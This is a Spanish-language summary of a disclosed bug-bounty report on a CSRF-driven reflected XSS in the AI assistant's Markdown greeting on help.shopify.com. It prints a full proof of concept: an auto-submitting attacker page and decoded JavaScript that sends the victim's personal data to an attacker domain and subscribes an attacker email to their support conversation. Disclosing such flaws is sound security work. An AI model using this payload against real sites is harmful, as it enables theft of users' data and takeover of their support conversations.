Reports
MEDIA[XSS]#2509022

XSS reflejado en el asistente de IA de help.shopify.com mediante un saludo en Markdown inyectado por CSRF

Un formulario de otra web podía fijar el saludo del asistente de IA de help.shopify.com. Ese saludo se mostraba como Markdown, y un enlace javascript: ejecutaba código en la sesión de la víctima.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El centro de ayuda de Shopify (help.shopify.com) incluye un asistente de IA que puede responder con Markdown para dar formato a sus mensajes. Los usuarios no pueden usar Markdown, pero el saludo inicial del asistente sí se mostraba con ese formato, y su texto podía venir de fuera.

La ruta de búsqueda aceptaba por POST un parámetro greeting que se guardaba en la sesión del visitante y aparecía después como saludo del asistente. La petición no tenía protección contra CSRF, así que cualquier web podía enviarla en nombre de la víctima. Bastaba con meter en greeting una imagen Markdown cuyo destino fuese una URL javascript:. Al pulsar el enlace generado, el código se ejecutaba en el contexto de help.shopify.com con la sesión iniciada de la víctima.

En conjunto es un XSS reflejado (CWE-79) que se dispara gracias a un CSRF en:

POST https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search

El reporte se envió el 16 de mayo de 2024 y se divulgó el 18 de junio de 2026. Shopify lo calificó como severidad media y pagó una recompensa, cuyo importe no se ha hecho público.

Pasos de reproducción

  1. Inicia sesión en https://help.shopify.com. El ataque necesita una sesión autenticada.
  2. Con esa sesión abierta, visita una página controlada por el atacante con el código de abajo. La página manda primero un formulario POST que fija el saludo y, dos segundos después, un GET a la búsqueda para que el navegador acabe en el centro de ayuda:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shopify Search Form</title>
</head>
<body>
    Please hold...

    <form id="post-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="POST">
        <input type="hidden" name="query" value="Is this XSS?">
        <input type="hidden" name="greeting" value="![Mouse wheel click here for more info...](javascript:eval(atob('[REDACTADO]')))">
    </form>

	<form id="get-form" action="https://help.shopify.com/en/search?_data=routes%2F%28%24locale%29.search" method="GET">
        <input type="hidden" name="q" value="Is this XSS?">
    </form>

    <script>
        document.getElementById('post-form').submit();
        setTimeout(() => {
            document.getElementById('get-form').submit();
        },2000);
    </script>
</body>
</html>
  1. El navegador termina en https://help.shopify.com/en/search/{some-token-here}. El saludo del asistente muestra una imagen Markdown rota cuyo texto alternativo invita a hacer clic.
  2. El enlace se abre con target=_blank, así que para que el javascript: se ejecute hay que pulsarlo con la rueda del ratón. En ese momento, en la pestaña de red de las herramientas de desarrollo se ven las peticiones del payload.
  3. Comprueba que los datos personales de la cuenta se han enviado al dominio del atacante.
  4. Comprueba que se ha añadido una dirección de correo del atacante como suscriptora de tu última conversación de soporte.

El valor de atob(...) es el payload en base64. Una vez decodificado, hace más o menos esto:

// At worst, if no support conversation exists, we leak victims' PII to attacker's controlled domain
fetch(`//[REDACTADO]?${JSON.stringify(window.__remixContext.state.loaderData.root.userInfo)}`);

// Fetch victim's last support inbox conversation.
fetch("/messages/graphql", {
  "headers": {
	"content-type": "application/json",
	"x-shopify-react-xhr": "1"
  },
  "body": `{\"variables\":{},\"query\":\"query convs { conversations(last: 1) { edges { node { id } } } }\"}`,
  "method": "POST"
})
.then(response => response.text())
.then(data => {

   // Try to subscribe to the victim's conversation which will send an email to the attacker and allow him to join the conversation
	const cid = JSON.parse(data).data.conversations.edges[0].node.id ?? null;
	fetch("/messages/graphql", {
	  "headers": {
		"content-type": "application/json",
		"x-shopify-react-xhr": "1"
	  },
	  "body": `{\"variables\":{},\"query\":\"mutation subscriberCreate { subscriberCreate(conversationId: \\\\"${cid}\\\\", email: \\\\"[REDACTADO]\\\\") { __typename }}\"}`,
	  "method": "POST"
	});

});

Impacto

Basta con que la víctima, con la sesión iniciada, visite la página del atacante y pulse el enlace del saludo. A partir de ahí el atacante ejecuta JavaScript en help.shopify.com con la sesión de la víctima. La prueba de concepto lo usa para dos cosas:

  • Robar datos personales: lee window.__remixContext.state.loaderData.root.userInfo y lo manda a un dominio del atacante.
  • Entrar en conversaciones de soporte: con la API GraphQL /messages/graphql obtiene la última conversación de la víctima y llama a la mutación subscriberCreate para suscribir el correo del atacante. Así el atacante recibe avisos por email y puede unirse a esa conversación.

La explotación tiene un límite: la víctima tiene que pulsar el enlace, y además con la rueda del ratón, porque se abre con target=_blank.

Remediación

Shopify eliminó la vía por la que el parámetro greeting, controlado por el atacante, llegaba al saludo del asistente.